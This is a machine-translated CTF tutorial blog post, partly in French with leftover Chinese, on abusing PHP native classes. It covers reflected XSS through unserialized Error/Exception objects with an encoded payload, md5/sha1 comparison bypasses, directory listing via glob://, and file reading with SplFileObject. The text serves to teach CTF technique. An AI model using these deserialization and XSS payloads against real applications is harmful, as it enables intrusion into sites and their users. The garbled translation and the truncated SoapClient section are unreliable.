Cet article vous apporte des connaissances pertinentes sur PHP, qui présentent principalement le contenu pertinent sur les classes natives. Examinons-le ensemble, j'espère qu'il sera utile à tout le monde.
Cette fois, HEctf est une question native avec seulement trois lignes de code. Effectivement, plus le code est court, plus il est difficile en CTF.
Publiez d'abord un script qui traverse les classes intégrées de php
<?php $classes = get_declared_classes(); foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类 ))) { print $class . '::' . $method . "\n"; } } }
Le résultat :
Pour faire le tri :
Exception ErrorException Error ParseError TypeError ArgumentCountError ArithmeticError DivisionByZeroError ClosedGeneratorException DateTime DateTimeZone DatePeriod DirectoryIterator wakeup JsonException wakeup LogicException BadFunctionCallException InvalidArgumentException OutOfRangeException RuntimeException OverflowException RangeException UnderflowException GlobIterator SplFixedArray ReflectionException ReflectionFunctionAbstract ReflectionParameter ReflectionMethod ReflectionClass ReflectionClassConstant ReflectionZendExtension AssertionError DOMException PDOException SimpleXMLElement mysqli_sql_exception PharException PharData PharFileInfo
Ce sont probablement les classes, mais les catégories suivantes sont souvent utilisées dans les compétitions CTF
__toString sera renvoyée la forme de chaîne d'erreur ou d'exception, qui contient les paramètres que nous saisissons, si nous construisons une chaîne de code xss et la combinons avec un rendu d'écho, la vulnérabilité xss réfléchie sera déclenchée
démo :
<?php $a = unserialize($_GET['a']);echo $a;
poc
<?php $a = new Error("<script>alert('hacker')"); $b = serialize($a); echo urlencode($b);
sort une chaîne de chaînes
O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3 Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D复制代码
pop-up réussie window
Exception est la classe de base pour toutes les exceptions au niveau de l'utilisateur. (PHP 5, 7, 8) La structure pop de
<?php $a = new Exception("<script>alert('hacker')"); $b = serialize($a); echo urlencode($b); ?>
et l'erreur semblent être les mêmes (l'exception s'applique à php5 et 7, l'erreur s'applique uniquement à php7), remplacez simplement l'erreur par l'exception. La fenêtre apparaît toujours avec succès
En construisant ces deux classes, vous pouvez contourner les fonctions md5() et sha1(). L'erreur et l'exception ont toutes deux une méthode importante : _tostring, qui est utilisée pour convertir les objets d'exception en chaînes.
De même, lorsque les fonctions md5() et sha1() traitent des objets, la méthode __tostring sera automatiquement appelée
<?php $a = new Error("payload",1);$b=new Error("payload",2); echo $a."<br>"; echo $b."<br>";
On peut voir que les paramètres après la charge utile n'affectent pas les résultats de sortie. C'est grâce à cela que la fonction de hachage peut être contournée.
<?php $a=new Error("payload",1);$b=new Error("payload",2); if ($a!=$b){ echo '$a不等于$b'."\n ";} if (md5($a)===md5($b)) { echo "md5值相等\n"; } if (sha1($a)===sha1($b)){ echo "sha1值相等\n"; }
Simple Object Access Protocol signifiant
La raison pour laquelle on dit que c'est simple ici est qu'il est basé sur deux protocoles qui ont été largement utilisés : HTTP et XML, donc le L'industrie appelle cela La technologie est appelée "c'est la première technologie qui n'a inventé aucune nouvelle technologie". On l'appelle un objet parce que le service Web accessible est appelé un objet. Puisque le service est un objet, le service doit avoir des attributs associés. et les comportements d'appel, ces propriétés et comportements sont décrits via WSDL. Si vous le comprenez en termes de "Simple Object Access Protocol", c'est plus facile que "Simple Object Access Protocol"
La classe intégrée de PHP, SoapClient, est une classe spécifiquement utilisée pour accéder aux services Web. Elle peut fournir un moyen d'accéder au Web. services basés sur le protocole SOAP client PHP.
Le constructeur de cette classe est le suivant :
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
DirectoryIterator
__toString Obtenez le nom du fichier sous forme de chaîne (PHP 5,7,8)
Par exemple :
<?php $a = new DirectoryIterator("/"); foreach($a as $b){ echo($b.'</br>'); } echo $a;
Sortie désignation Le premier nom de fichier trié dans le répertoire
Utilisez la méthode __toString de cette classe intégrée combinée avec le protocole glob ou file pour réaliser la traversée du répertoire
<?php $a = new DirectoryIterator("glob://*"); foreach ($a as $b){ echo $b.'<br>'; }
Utilisez foreach pour parcourir tous les fichiers
<?php $a = new DirectoryIterator("glob:///*"); foreach ($a as $b){ echo $b.'<br>'; }
Encore un slash, le répertoire avance d'un cran.
Classe FilesystemIterator
La classe FilesystemIterator est identique à la classe DirectoryIterator et fournit une interface simple pour afficher le contenu d'un répertoire de système de fichiers. Le constructeur de cette classe créera un itérateur du répertoire spécifié.
La méthode d'utilisation de cette classe est fondamentalement la même que celle de la classe DirectoryIterator :
<?php $a = new FilesystemIterator("glob:///*"); foreach ($a as $b){ echo $b.'<br>'; }
SplFileObject::__toString — 以字符串形式返回文件的路径
<?php $a = new SplFileObject('flag.txt'); echo $a;
输出多行
<?php $a = new SplFileObject('flag.txt'); foreach($a as $f){ echo($f); }
推荐学习:《PHP视频教程》
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!